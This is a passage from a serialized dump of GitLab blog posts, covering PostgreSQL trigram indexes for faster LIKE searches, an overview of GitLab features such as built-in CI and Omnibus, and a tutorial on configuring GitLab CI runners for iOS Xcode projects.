Unix design principles]: https://en.wikipedia.org/wiki/Unix_philosophy\n[composable components]: https://en.wikipedia.org/wiki/Composability\n[monolithic software]: https://en.wikipedia.org/wiki/Monolithic_application\n[Installation and upgrade guides]: http://doc.gitlab.com/ce/install/installation.html\n[Docker]: https://hub.docker.com/u/gitlab/\n[native Debian packages]: https://wiki.debian.org/gitlab\n[Google Summer of Code project]: https://fedoraproject.org/wiki/User:Axilleas/GitLab\n[omnibus-gitlab repository]: https://gitlab.com/gitlab-org/omnibus-gitlab\n[GitLab CE issue tracker]: https://gitlab.com/gitlab-org/gitlab-ce/issues\n[Software Architecture Conference]: http://conferences.oreilly.com/software-architecture/engineering-business-us/public/schedule/speaker/228210\n",{"slug":38669,"featured":6,"template":678},"using-omnibus-gitlab-to-ship-gitlab","content:en-us:blog:using-omnibus-gitlab-to-ship-gitlab.yml","Using Omnibus Gitlab To Ship Gitlab","en-us/blog/using-omnibus-gitlab-to-ship-gitlab.yml","en-us/blog/using-omnibus-gitlab-to-ship-gitlab",{"_path":38675,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38676,"content":38681,"config":38685,"_id":38687,"_type":16,"title":38688,"_source":17,"_file":38689,"_stem":38690,"_extension":20},"/en-us/blog/fast-search-using-postgresql-trigram",{"title":38677,"description":38678,"ogTitle":38677,"ogDescription":38678,"noIndex":6,"ogImage":12013,"ogUrl":38679,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38679,"schema":38680},"Fast Search Using PostgreSQL Trigram Text Indexes","In this article we'll look at how these indexes work and how they can be used to speed up queries using LIKE conditions.","https://about.gitlab.com/blog/fast-search-using-postgresql-trigram-indexes","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Fast Search Using PostgreSQL Trigram Text Indexes\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Yorick Peterse\"}],\n        \"datePublished\": \"2016-03-18\",\n      }",{"title":38677,"description":38678,"authors":38682,"heroImage":12013,"date":38683,"body":38684,"category":734},[27838],"2016-03-18","\nGitLab 8.6 will ship with improved search performance for PostgreSQL thanks to\nthe use of trigram indexes. In this article we'll look at how these indexes work\nand how they can be used to speed up queries using LIKE conditions.\n\n\u003C!--more-->\n\n## How to Use PostgreSQL Fast Search in GitLab?\n\nGitLab allows users to search for issues, comments, commits, code, merge\nrequests, and snippets. The traditional approach to developing a system for\nsearching data like this in an RDBMS is to simply use a LIKE condition. A LIKE\noperates on a string that specifies what to search for and optional percentage\nsigns acting as wildcards. For example, to match all values starting with\n\"Alice\" you'd use the string `'Alice%'`. If one wants to search all records in a\ntable (e.g. all users) they might write the following query:\n\n    SELECT *\n    FROM users\n    WHERE name LIKE 'Alice%';\n\nThe wildcards used for a LIKE condition can appear anywhere (and optionally\nmultiple times) in the string, as such all these values are valid:\n\n* `'Alice%'`\n* `'%Alice'`\n* `'%Alice%'`\n* `'%Al%ice%'`\n\nHowever, wildcards being allowed poses a problem: index usage. When a wildcard\nappears somewhere at the end of a string both MySQL and PostgreSQL are able to\nuse any existing indexes. However, when a wildcard appears at the start of a\nstring things become problematic. To better understand the problem, imagine you\nhave the following list of names:\n\n* Alice\n* Bob\n* Charlie\n* Eve\n* Emily\n\nWhen searching for any name containing \"li\" the only solution is to iterate over\nall values and check if each value contains the string \"li\". Because the value\ncan appear anywhere in the strings to search an index won't help as we'd still\nhave to compare every value one by one with no way of reducing the set of rows\nto search through. This in turn can lead to very slow queries depending on the\namount of data to search through.\n\n## Postgres Full Text Search\n\nSince both MySQL and PostgreSQL provide full text searching capabilities one\nsolution would be to use this instead of a regular LIKE condition. Sadly both\nimplementations are not without their problems. Up until MySQL 5.6 full text\nsearch only worked on MyISAM tables which in turn meant not being able to use\ntransactions. Both MySQL and PostgreSQL also use different syntax for searching\nand require different steps to set things up. For example, MySQL uses the\nfollowing syntax:\n\n    SELECT *\n    FROM users\n    WHERE MATCH (username) AGAINST ('yorick');\n\nPostgreSQL uses the following instead:\n\n    SELECT *\n    FROM users\n    WHERE to_tsvector('english', username) @@ to_tsquery('english', 'yorick');\n\nThe differences in syntax make the code more complex. On top of that\nPostgresSQL full text search works best when the text vectors are stored in\nphysical columns with an index. This in turn means having to adjust all your\nqueries to use these columns instead of the regular ones, resulting queries such\nas:\n\n    SELECT *\n    FROM users\n    WHERE username_tsvector @@ to_tsquery('english', 'yorick');\n\nThis assumes `username_tsvector` contains a text vector built from the data\nstored in the `username` column. To further complicate matters you'd have to set\nup a stored procedure and database trigger to keep these text vector columns in\nsync with the ones containing the raw data.\n\nAnother problem with full text search is that words are broken up according to\nthe rules defined by the language of the text. For example, on PostgreSQL\nconverting \"Yorick Peterse\" to a text vector results in the values \"peters\" and\n\"yorick\". This means that searching for \"yorick\" or \"peterse\" _will_ match the\ndata, but searching for \"yor\" _will not_. To showcase this we can run the\nfollowing query in PostgreSQL:\n\n    SELECT 1\n    WHERE to_tsvector('english', 'Yorick Peterse') @@ to_tsquery('english', 'peterse');\n\nHere `to_tsvector()` creates a text vector with English as the language and\n\"Yorick Peterse\" as the input. The `to_tsquery()` function in turn creates a\ntext search query with English as the language and \"peterse\" as the input.\n\nRunning this query will result in a single row being returned. On the other\nhand, this will return no rows:\n\n    SELECT 1\n    WHERE to_tsvector('english', 'Yorick Peterse') @@ to_tsquery('english', 'yor');\n\nThis is problematic when you don't know exactly what you're looking for, for\nexample when you're looking for a person but only know part of their first name.\n\nIn short, full text search is only really an option if you only support\nPostgreSQL or MySQL as supporting both leads to a lot of unwanted complexity.\n\n## Trigram Indexes\n\nWhile MySQL offers no further solutions (that I know of), PostgreSQL on the\nother hand has some extra tricks up its sleeves: trigram indexes. Trigram\nindexes work by breaking up text in [trigrams][trigrams]. Trigrams are basically\nwords broken up into sequences of 3 letters. For example, the trigram for\n\"alice\" would be:\n\n    {ali, lic, ice}\n\nPostgreSQL supports trigram indexes and operations via the [pg_trgm][pg_trgm]\nextension. This extension adds a few functions, operators, and support for\ntrigram indexes (Postgres using GIN or GiST indexes to be exact). To see what kind of\ntrigrams PostgreSQL can produce we can run the following query:\n\n    select show_trgm('alice');\n\nThis will generate the trigrams for the string \"alice\", producing the following\noutput:\n\n                show_trgm\n    ---------------------------------\n     {\"  a\",\" al\",ali,\"ce \",ice,lic}\n\nA big benefit of this extension is that these trigram indexes can be used by the\nLIKE and ILIKE conditions without having to change your queries or setting up\ncomplex full text search systems. There are 2 requirements for this to work:\n\n1. The index created must be either a GIN or a GiST index, in case of GitLab we\n   went with Postgres using GIN indexes due to them leading to better query timings (at the\n   cost of being larger and somewhat slower to build).\n2. The index must have the appropriate [operator class][opclass] set.\n\nIn case of a GIN index the operator class we have to use is called\n`gin_trgm_ops`. We can create the appropriate indexes using a query such as the\nfollowing:\n\n    CREATE INDEX CONCURRENTLY index_issues_on_title_trigram\n    ON issues\n    USING gin (title gin_trgm_ops);\n\nTo showcase the impact these indexes have on performance let's use the following\nquery as an example:\n\n    SELECT COUNT(*)\n    FROM users\n    WHERE username ILIKE '%yorick%';\n\nThis query counts the amount of users where the username contains the string\n\"yorick\", regardless of the casing. Running this query on my local PostgreSQL\ndatabase takes around 160 milliseconds and produces the following query plan:\n\n     Aggregate  (cost=8143.40..8143.41 rows=1 width=0) (actual time=157.981..157.982 rows=1 loops=1)\n       ->  Index Only Scan using index_users_on_username on users  (cost=0.42..8143.34 rows=26 width=0) (actual time=155.153..157.974 rows=6 loops=1)\n             Filter: (username ~~* '%yorick%'::text)\n             Rows Removed by Filter: 257532\n             Heap Fetches: 0\n     Planning time: 0.143 ms\n     Execution time: 158.008 ms\n\nTo speed this up we'll run the following to create an index:\n\n    CREATE INDEX CONCURRENTLY index_users_on_username_trigram\n    ON users\n    USING gin (username gin_trgm_ops);\n\nIf we now re-run the query it takes only around 0.2 milliseconds and produces\nthe following query plan:\n\n     Aggregate  (cost=152.41..152.42 rows=1 width=0) (actual time=0.128..0.128 rows=1 loops=1)\n       ->  Bitmap Heap Scan on users  (cost=52.20..152.35 rows=26 width=0) (actual time=0.115..0.126 rows=6 loops=1)\n             Recheck Cond: (username ~~* '%yorick%'::text)\n             Heap Blocks: exact=6\n             ->  Bitmap Index Scan on index_users_on_username_trigram  (cost=0.00..52.19 rows=26 width=0) (actual time=0.106..0.106 rows=6 loops=1)\n                   Index Cond: (username ~~* '%yorick%'::text)\n     Planning time: 0.366 ms\n     Execution time: 0.167 ms\n\nIn other words, creating the trigram index results in the query being around\n946 times faster.\n\n## GitLab & Trigram Indexes\n\nGitLab 8.6 will create trigram indexes for PostgreSQL users leading to vastly\nimproved search performance (though there's still some work to be done in the\nfuture). To make this work (while still supporting MySQL) we did have to port\nover some changes from an open Rails pull request to ensure the indexes were\ndumped properly to `db/schema.rb`. These changes can be found in\n[config/initializers/postgresql_opclasses_support.rb][opclass-support] and were\ntaken from [Rails pull request #19090][rails-pr-19090].\n\nWe also had to make some changes to ensure MySQL doesn't end up trying to create\nthese indexes when loading the schema definition into a database. For example,\n`db/schema.rb` contains lines such as `add_index ..., using: :gin` and the\n`using` option is passed straight to the underlying database. Since MySQL\ndoesn't support GIN indexes this would lead to database errors when trying to\nload `db/schema.rb`. The code that makes this work can be found in\n[config/initializers/mysql_ignore_postgresql_options.rb][mysql-ignore-pg].\n\nFinally we made some small changes to the code to ensure queries automatically\nuse ILIKE on PostgreSQL instead of `lower(some_column)` as ILIKE performs quite\na bit better. On MySQL a regular LIKE is used as it's already case-insensitive.\n\nAll of the other details can be found in GitLab CE merge request [\"Refactor\nsearching and use PostgreSQL trigram indexes for significantly improved\nperformance\"][mr2987].\n\n[trigrams]: https://en.wikipedia.org/wiki/Trigram\n[pg_trgm]: http://www.postgresql.org/docs/current/static/pgtrgm.html\n[opclass]: http://www.postgresql.org/docs/current/static/indexes-opclass.html\n[mr2987]: https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/2987\n[opclass-support]: https://gitlab.com/gitlab-org/gitlab-ce/blob/0602091f0cdebbc3183732dee78c38f89b4b7d01/config/initializers/postgresql_opclasses_support.rb\n[mysql-ignore-pg]: https://gitlab.com/gitlab-org/gitlab-ce/blob/0602091f0cdebbc3183732dee78c38f89b4b7d01/config/initializers/mysql_ignore_postgresql_options.rb\n[rails-pr-19090]: https://github.com/rails/rails/pull/19090\n",{"slug":38686,"featured":6,"template":678},"fast-search-using-postgresql-trigram","content:en-us:blog:fast-search-using-postgresql-trigram.yml","Fast Search Using Postgresql Trigram","en-us/blog/fast-search-using-postgresql-trigram.yml","en-us/blog/fast-search-using-postgresql-trigram",{"_path":38692,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38693,"content":38699,"config":38703,"_id":38705,"_type":16,"title":38706,"_source":17,"_file":38707,"_stem":38708,"_extension":20},"/en-us/blog/gitlab-in-case-you-missed-it",{"title":38694,"description":38695,"ogTitle":38694,"ogDescription":38695,"noIndex":6,"ogImage":38696,"ogUrl":38697,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38697,"schema":38698},"GitLab: In case you missed it","The first two weeks working with GitLab have been full of pleasant surprises and dispelled delusions. If you haven't been following GitLab for the last two years, this post is for you.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684623/Blog/Hero%20Images/key-concepts.jpg","https://about.gitlab.com/blog/gitlab-in-case-you-missed-it","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab: In case you missed it\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ivan Nemytchenko\"}],\n        \"datePublished\": \"2016-03-14\",\n      }",{"title":38694,"description":38695,"authors":38700,"heroImage":38696,"date":38701,"body":38702,"category":8943},[19801],"2016-03-14","\n\nI've recently joined GitLab as a Developer Advocate. \nPart of my role will be traveling to community events where I hope we'll meet in person. \nI'm also an experienced Ruby developer. \nAs a rubyist, naturally, I've heard about GitLab and even used it couple of times.\n\nThe first two weeks working with GitLab have been full of pleasant surprises and dispelled delusions. \nIf you haven't been following GitLab for the last two years, this post is for you.\n\n\u003C!--more-->\n\n## GitLab.com\n\nYou don't have to download and install GitLab nowadays. \nYou can simply [sign up for GitLab.com](https://gitlab.com/users/sign_in) and host your own repositories. \nEven the private ones. \nYes, for free and without any restrictions. \nNo, there is no catch.\n\nIt should be noted that repositories are actually called \"projects\". \n\nAnd that is not the only thing that catches your eye at first. \nAs it turns out, the terminology is justified.\n\n## The terminology \n\nThese aren't just fancy terms to stand out from the crowd. \nI strongly recommend reading the article about [GitLab, GitHub and Bitbucket and terms comparison](/blog/comparing-terms-gitlab-github-bitbucket/), if you wish to sort out the details. \nI'd like to bring up the \"Merge requests\" topic, as it's the most controversial.\n\nMy initial reaction, naturally, was rejection. Most of us are accustomed to\n\"Pull requests\", so what's the big idea?\nBut then I remembered that the title \"Pull request\" never did make perfect\nsense to me because closing a pull request actually does branch merging.\n\nAs it turns out, there is a command [`git request-pull`](https://git-scm.com/docs/git-request-pull),\nhence the feature title.\n\nPull requests have nothing in common with this git command. So, technically the correct name is \"merge request\". \n[Learn more](/blog/comparing-terms-gitlab-github-bitbucket/) on terminology differences, if you're interested.\n\nThe terminology was just a part of the deal. \nWhen reading the documentation, I discovered something called \"omnibus\" and\nfound some mysterious \"runners\" and \"shared runners\" in the settings. \nBut first things first. \nRunners are connected to CI. \nOmnibus is related to GitLab installation on your own server.\n\n## Continuous Integration (CI)\n\nContinuous Integration is a best practice in software development.\nFor example, a CI server runs your tests every time you push changes to the repository.\n\nA lot of companies have a separate CI service but in GitLab, [CI is embedded](https://docs.gitlab.com/ee/ci/).\n\nIf you had to manually connect two services before, it just works on its own in GitLab.\nThough you can still use other continuous integration services such as [Jenkins](http://doc.gitlab.com/ee/integration/jenkins.html).\n\nAnd it works through runners.\n\n## Runners\n\nA runner is a virtual machine that runs your tests, builds your builds or generates static files for your websites. \nGitLab.com users are able to make use of a special [Shared Runners](http://doc.gitlab.com/ce/ci/quick_start/README.html#shared-runners) pool to simply make everything work. \n\nSince the pool is shared across all projects on GitLab.com, sometimes it can\ntake a while to wait for your project's build to be processed.\n\nIf you are not satisfied with the Shared runners performance, you can\n[set up a runner](/blog/gitlab-runner-with-docker/)\non your own server and connect it to one or more projects.\n\nDon't forget that you can install GitLab on your own server as well. \n\n## GitLab installation with Omnibus\n\n\nIn the past, GitLab was installed manually. \nNow you can install and update the service from packages thanks to Omnibus.\n[Omnibus](http://doc.gitlab.com/omnibus) is a tool developed by Chef\nthat helps to create installation packages for complex software with a lot of\ncomponents for various platforms.\n\nAny installation using Omnibus lasts for 2-6 minutes tops, depending on your server performance. \nThis is what GitLab installation looks like on Ubuntu 14.04 using a relatively slow VPS with 2Gb running memory:\n\u003Cscript type=\"text/javascript\" src=\"https://asciinema.org/a/39151.js\" id=\"asciicast-39151\" async>\u003C/script>\n\nHint: in case you'd prefer not to mess with console installation and updates at\nall, you can simply rent a GitLab server on [Githost.io](https://githost.io/)\n\nBoth Omnibus and built-in CI are just a portion of what is being done to make developers' jobs easier.\nLet us review a few features.\n\n## Small features that make a difference\n\n### Merge when build succeeds\n\nWith GitLab, you don't have to wait for your build to turn green to finally merge the branch. \nYou can simply ask GitLab to do that for you.\n\n![Merge when build succeeds](https://about.gitlab.com/images/automerge.jpg)\n\n### Publishing with GitLab Pages\n\nGitLab Pages runs on top of the built-in CI.\nThanks to the feature, you can host websites created by any static site generators on GitLab.\n\nFork a repo from [GitLab examples](https://gitlab.com/groups/gitlab-examples?utf8=%E2%9C%93&filter_projects=pages-)\nor figure out GitLab CI settings to forget all about the manual static generation.\nYou simply push your changes to the repository and GitLab generates and deploys everything on its own.\n\nCustom CNAME and TLS [are supported](http://doc.gitlab.com/ee/pages/README.html#add-a-custom-domain-to-your-pages-website).\n\nThese kinds of features have become possible due to the synergy between system components.\nThere's much more coming.\n\n## GitLab Direction\n\nPlease don't be surprised once a crashed build creates a TODO automatically or GitLab introduces built-in chat.\n\nIf you want to know where GitLab is heading, keep an eye on the [Direction page](/direction/).\nThis includes not only the short term objectives for the next release, but also the long-range vision.\n\n* * * \n\nHopefully, this article has helped you to fill in the gaps in understanding what GitLab is now. \nI'm planning to write two more articles: about migrating personal projects to GitLab and about contributing to GitLab.\nStay tuned and [follow me on Twitter](https://twitter.com/inemation).\n\nI'm always happy to answer your questions in comments or personally.\nOver the next several weeks I will be speaking at the following Ukrainian Ruby-meetups, where we can catch up:\n\n- [Ruby Meditation, Kiev](https://www.facebook.com/events/406794219490854/) (March 18)\n- [Pivorak, Lviv](https://www.facebook.com/pivorak/) (March 26)\n\n## Join our webcast about GitLab CI.\n\nI mentioned Gitlab CI a few times in this blog post. If you're interested,\nwe'll have a live webcast all about GitLab CI.\n\n- Date: Thursday, April 14, 2016 \n- Time: 5pm (17:00) UTC; 12pm EST; 9am PST \n- [Register here][webcast]\n\nCan't make these times? Register anyway, and we'll send you a link to watch later.\n[webcast]: http://page.gitlab.com/apr-2016-gitlab-intro-ci-webcast.html\n",{"slug":38704,"featured":6,"template":678},"gitlab-in-case-you-missed-it","content:en-us:blog:gitlab-in-case-you-missed-it.yml","Gitlab In Case You Missed It","en-us/blog/gitlab-in-case-you-missed-it.yml","en-us/blog/gitlab-in-case-you-missed-it",{"_path":38710,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38711,"content":38716,"config":38720,"_id":38722,"_type":16,"title":38723,"_source":17,"_file":38724,"_stem":38725,"_extension":20},"/en-us/blog/setting-up-gitlab-ci-for-ios-projects",{"title":38712,"description":38713,"ogTitle":38712,"ogDescription":38713,"noIndex":6,"ogImage":38323,"ogUrl":38714,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38714,"schema":38715},"Setting up GitLab CI for iOS projects","Learn how to set up GitLab CI for your iOS projects.","https://about.gitlab.com/blog/setting-up-gitlab-ci-for-ios-projects","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Setting up GitLab CI for iOS projects\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Angelo Stavrow\"}],\n        \"datePublished\": \"2016-03-10\",\n      }",{"title":38712,"description":38713,"authors":38717,"heroImage":38323,"date":38718,"body":38719,"category":734},[37611],"2016-03-10","\n\n_Note: This blog post was published in 2016. For more current info, check out [Tutorial: iOS CI/CD with GitLab](https://about.gitlab.com/blog/ios-cicd-with-gitlab/) from June 2023 and our [documentation on GitLab Mobile DevOps](https://docs.gitlab.com/ee/ci/mobile_devops.html). Those both cover fastlane, fastlane match, code signing, signing certificates, provision profiles, App Store Connect, and more._\n\nIn this post I'll show you how to set up GitLab CI for your iOS mobile projects,\nstep-by-step, from start to finish.\n\n\u003C!--more-->\n\n### Why CI?\n\n[Continuous integration](/topics/ci-cd/) (CI) is great tool for helping developers be more productive and write higher-\nquality code. By automatically running a suite of tests every time a commit is\npushed, everyone can see the results of changes to the codebase, and take action\nto make integration faster and easier.\n\nGitLab [comes with CI built-in](/solutions/continuous-integration/) for all\nprojects, for free.\n\nIt's beyond the scope of this tutorial to go into details on best practices,\nworkflows, and advantages/disadvantages of CI. In short, however, here's what\nhappens when you enable it for your Xcode project:\n\n1. You make changes to your copy of the codebase and push a commit to GitLab.\n2. GitLab recognizes that the codebase has changed.\n3. GitLab triggers a build with the GitLab Runner you set up on your Mac for the project.\n4. The GitLab Runner runs through the build and test process you specified in the `.gitlab-ci.yml` configuration file.\n5. The GitLab Runner reports its results back to GitLab.\n6. GitLab shows you the results of the build.\n\nThis post builds on [Jeremy White's blog post](http://www.thejeremywhite.com/blog/xcode-gitlab-ci-setup.html),\ngoing into a little more detail and correcting some steps for the environment\ndescribed in the next section.\n\n### Assumptions and environment\n\nThis post will provide a step-by-step guide to setting up GitLab CI for your iOS\n projects, from start to finish. First, however, we need to make a few assumptions.\n\n[GitLab's strategy document](/company/strategy/) hinges on one \nkey idea: _everyone can contribute_. As such, this post is written for readers\nof nearly all levels of experience. However, given that CI is a relatively\nadvanced topic, we're going to assume some basic knowledge of how to create\nXcode and GitLab projects, as well as some familiarity with Terminal and git.\n\nThis post was written with the following development environment in mind:\n\n- A Mac running macOS 10.11.3 \"El Capitan\"\n- Xcode 7.2.1 with command-line tools and the iOS 9.2 SDK installed\n- GitLab.com v8.5\n\nWe'll also assume you've already created a new GitLab project. If you haven't,\ngo ahead and do that now.\n\n### Setting up your Xcode project\n\nWe'll start by creating a new single-view iOS project in Xcode.\n\n![Creating a new Xcode project.](https://about.gitlab.com/images/blogimages/setting-up-gitlab-for-ios-projects/1_create-new-xcode-project.png)\n\nGive your project a name and make certain that the **Include Unit Tests** and\n**Include UI Tests** options are enabled for the project. Xcode will create a\ntemplate test class with some sample tests, which we'll use in this post as the\ntest suite that GitLab CI runs to verify a build. Choose a name for your project\nand click on **Next**.\n\n![Enable unit and UI tests in your project](https://about.gitlab.com/images/blogimages/setting-up-gitlab-for-ios-projects/2_enable-unit-tests.png)\n\nChoose where you'll save your iOS project. If you like, let Xcode create the git\nrepository on your Mac.\n\n![Let Xcode initialize your git repository.](https://about.gitlab.com/images/blogimages/setting-up-gitlab-for-ios-projects/3_create-git-repository.png)\n\nOnce Xcode has created and opened your iOS project, you need to [share its scheme](https://developer.apple.com/library/ios/recipes/xcode_help-scheme_editor/Articles/SchemeShare.html). Apple's [documentation](https://developer.apple.com/library/ios/recipes/xcode_help-scheme_editor/Articles/SchemeDialog.html) defines schemes nicely:\n\n> A scheme is a collection of settings that specify which targets to build, what build configuration to use, and the executable environment to use when the product specified by the target is launched.\n\nBy sharing your scheme, GitLab CI gets context it needs to build and test your project.\n\nTo share a scheme in Xcode, choose **Product** > **Scheme** > **Manage Schemes**.\n\n![Share your scheme.](https://about.gitlab.com/images/blogimages/setting-up-gitlab-for-ios-projects/4_share-xcode-scheme.png)\n\nClick on the **Close** button.\n\nYour Xcode project has been created with two test files; one includes sample unit\ntests, and the other includes sample UI tests. You can run **Product** > **Test**\nto run these tests, which will build your project, launch the Simulator, install\nthe project on the Simulator device, and run the test suite. You can see the\nresults right in Xcode:\n\n![Test suite success in Xcode.](https://about.gitlab.com/images/blogimages/setting-up-gitlab-for-ios-projects/5_test-suite-success-in-xcode.png)\n\nThe green checkmarks next to the test functions (both in the file, and in the\nTest navigator) show that all tests passed. We won't be referring to the Xcode\nproject anymore, so if you like, you can close it.\n\nNext, open Terminal and navigate to the folder you created for your iOS project.\n\nIt's convenient to add a standard `.gitignore` file. For a Swift project, enter:\n\n```\n$ curl -o .gitignore https://www.toptal.com/developers/gitignore/api/swift\n```\n\nFor an Objective-C project, enter:\n\n```\n$ curl -o .gitignore https://www.gitignore.io/api/objective-c\n```\n\nThe `curl` command conveniently downloads the contents of the page at the given [gitignore.io](https://gitignore.io) URL into a file named `.gitignore`.\n\nIf Xcode initialized the git repository for you, you'll need to set the origin\nurl to your GitLab project (replacing `\u003Cusername>` with your GitLab username\nand `\u003Cproject>` with the project name:\n\n```\n$ git remote add origin git@gitlab.com:\u003Cusername>/\u003Cproject>.git\n```\n\nThe final step here is to [install xcpretty](https://github.com/supermarin/xcpretty).\nWhen Xcode builds and tests your project, xcpretty will transform the output into\nsomething more readable for you.\n\n### Installing and registering the GitLab Runner\n\nThe GitLab Runner is a service that's installed on your Mac, which runs the build\nand test process that you set up in a configuration file. You can follow the\n[installation instructions for macOS](https://gitlab.com/gitlab-org/gitlab-runner/blob/master/docs/install/osx.md),\nbut we'll need to make some changes to the _register the runner_ step:\n\n```\n$ gitlab-ci-multi-runner register\nWARNING: Running in user-mode.                     \nWARNING: The user-mode requires you to manually start builds processing:\nWARNING: $ gitlab-runner run                       \nWARNING: Use sudo for system-mode:                 \nWARNING: $ sudo gitlab-runner...                   \n```\n\nIf you're using self-managed GitLab, the coordinator URL will be http(s)://url-of-your-gitlab-instance/ci`.\n\n```\nPlease enter the gitlab-ci coordinator URL (e.g. https://gitlab.com/ci):\nhttps://gitlab.com/ci\n```\n\nThe CI token for your project is available on GitLab's Project Settings page,\nunder _Advanced Settings_. Each project has a unique token.\n\n```\nPlease enter the gitlab-ci token for this runner:\n\u003CCI runner token from Project > Settings > Runner>\n```\n\nThe `register` process suggests the name of your Mac as a description for the\nrunner. You can enter something different if you like, or just hit **return** to\ncontinue.\n\n```\nPlease enter the gitlab-ci description for this runner:\n[Your-Mac's-Name.local]:\n```\n\nEnter whatever tags you'd like to further identify this particular runner. It's\nparticularly helpful when you need a particular build environment&mdash;for example,\niOS 9.2 on Xcode 7.2 on macOS 10.11 could use tags like `ios_9-2`, `xcode_7-2`,\nand `osx_10-11`. This way, we can filter our build stages in GitLab by toolchain,\nplatform, etc.\n\n```\nPlease enter the gitlab-ci tags for this runner (comma separated):\nios_9-2, xcode_7-2, osx_10-11\n```\n\nThe GitLab Runner will register the runner and give it a unique `runner` ID.\n\n```\nRegistering runner... succeeded                     runner=s8Bgtktb\n```\n\nThe GitLab Runner has to run `xcodebuild` to build and test the project, so we\nselect `shell` as the executor:\n\n```\nPlease enter the executor: virtualbox, ssh, shell, parallels, docker, docker-ssh:\nshell\nRunner registered successfully. Feel free to start it, but if it's running\nalready the config should be automatically reloaded!\n```\n\nContinue with the rest of the Runner installation instructions (`install` and\n`start`), per the documentation.\n\nGo to the _Runners_ page in your Project Settings and voilà:\n\n![The GitLab Runner is recognized in GitLab's Project Settings.](https://about.gitlab.com/images/blogimages/setting-up-gitlab-for-ios-projects/6_runner-registered.png)\n\nYour GitLab Runner is recognized and (almost) ready to go!\n\nYou can verify this by running\n\n```\n$ gitlab-ci-multi-runner verify\nWARNING: Running in user-mode.                     \nWARNING: The user-mode requires you to manually start builds processing:\nWARNING: $ gitlab-runner run                       \nWARNING: Use sudo for system-mode:                 \nWARNING: $ sudo gitlab-runner...                   \n\nVeryfing runner... is alive                         runner=25c780b3\n```\n\nNote that they have the same ID (in this case, `25c780b3`).\n\nThe last thing to do is to configure the build and test settings. To do so, open\nyour text editor and enter the following:\n\n```\nstages:\n  - build\n\nbuild_project:\n  stage: build\n  script:\n    - xcodebuild clean -project ProjectName.xcodeproj -scheme SchemeName | xcpretty\n    - xcodebuild test -project ProjectName.xcodeproj -scheme SchemeName -destination 'platform=iOS Simulator,name=iPhone 6s,OS=9.2' | xcpretty -s\n  tags:\n    - ios_9-2\n    - xcode_7-2\n    - osx_10-11\n```\n\nSave this file in your Xcode project folder as `.gitlab-ci.yml`, and don't forget\nthe period at the beginning of the file name!\n\n> **Update:** To clarify, the `.gitlab-ci.yml` file should go in the folder you created for your iOS project, which is also typically where your Xcode project file (`ProjectName.xcodeproj`) is found. Thanks to commenter Palo for pointing this out!\n\nLet's go through the file with some detail:\n\n- The file first describes the `stages` available to each `job`. For simplicity,\nwe have one stage (`build`) and one job (`build_project`).\n- The file then provides the settings for each `job`. The `build_project` job runs\ntwo scripts: one to clean the Xcode project, and then another to build and test\nit. You can probably skip the cleaning script to save time, unless you want to be\nsure that you're building from a clean state.\n- Under `tags`, add the tags you created when you registered the GitLab Runner.\n\nThere are also some things to look out for:\n\n- Make sure to replace all references to `ProjectName` with the name of your\nXcode project; if you're using a different scheme than the default, then make\nsure you pass in the proper `SchemeName` too (the default is the same as the\n`ProjectName`).\n- In the `xcodebuild test` command, notice the `-destination` option is set to\nlaunch an iPhone 6S image running iOS 9.2 in the Simulator; if you want to run a\ndifferent device (iPad, for example), you'll need to change this.\n- If you're using a workspace rather than a project (e.g., because your app uses [Cocoapods](https://cocoapods.org)), change the `-project ProjectName.xcodeproj`\noptions to `-workspace WorkspaceName.xcworkspace`. There are several options\navailable to customize your build; run `xcodebuild --help` in the Terminal to\nexplore these further.\n\nThere's a simple tool for \"linting\" (i.e., validating) your `.gitlab-ci.yml` in\nGitLab. From your GitLab project page, click on CI/CD > Jobs in the sidebar, then in\nthe upper-right corner, click on **CI lint**:\n\n![Accessing the GitLab CI script linter.](https://about.gitlab.com/images/blogimages/setting-up-gitlab-for-ios-projects/7_ci-lint-button.png)\n\nPaste the contents of your `.gitlab-ci.yml` file into the text box and click on\n**Validate**. You should see something like:\n\n> **Status:** syntax is correct\n\nThis won't tell you if your project name or the Simulator chosen is correct, so\nbe sure to double-check these settings.\n\nThe `.gitlab-ci.yml` file is extremely customizable. You can limit jobs to run\non success or failure, or depending on branches or tags, etc.&mdash;read through\n[the documentation](http://doc.gitlab.com/ce/ci/yaml/README.html) to get a feeling\nfor just how flexible and powerful it is.\n\n### Setting up your GitLab project for CI\n\nActually, there's really not much to do here! CI is enabled by default on new\nprojects. If your iOS project has some environment variables you want to keep\nsecret, but you want to keep the project public on GitLab, you may want to disable\n**Public builds** in Project Settings, under _Continuous Integration_. This will\nhide the build results from everyone except members of the project.\n\nYou may also want to go to _Runners_ under your Project Settings and click\n**Disable shared runners**, as they're not needed anyhow&mdash;we're using a\nproject-specific runner.\n\nWe're now ready to trigger a CI build!\n\n### How to trigger builds\n\nTo trigger a build, all you have to do is push a commit to GitLab. From the Terminal:\n\n```\n$ git add .\n$ git commit -m \"First commit.\"\n[...commit info...]\n$ git push origin master\n[...push info...]\n```\n\nIf everything worked, and you installed the GitLab Runner on the same machine,\nyou'll notice that Simulator launches, installs your iOS app and launches it, and\nthen goes back to the home screen.\n\nGo to the *Builds* page of your GitLab project and have a look at the results!\n\n![The Build page after your first CI build.](https://about.gitlab.com/images/blogimages/setting-up-gitlab-for-ios-projects/8_build-page-success.png)\n\nClick on the \u003Cspan style=color:green>✔︎ success\u003C/span> button to see the build output:\n\n![The build results page.](https://about.gitlab.com/images/blogimages/setting-up-gitlab-for-ios-projects/9_build-results.png)\n\nHere you'll see the output from all the steps you requested in your `.gitlab-ci.yml`\nfile. At the bottom of the log, you should see something like:\n\n```\nAll tests\nTest Suite GitLab-CI-for-iOSTests.xctest 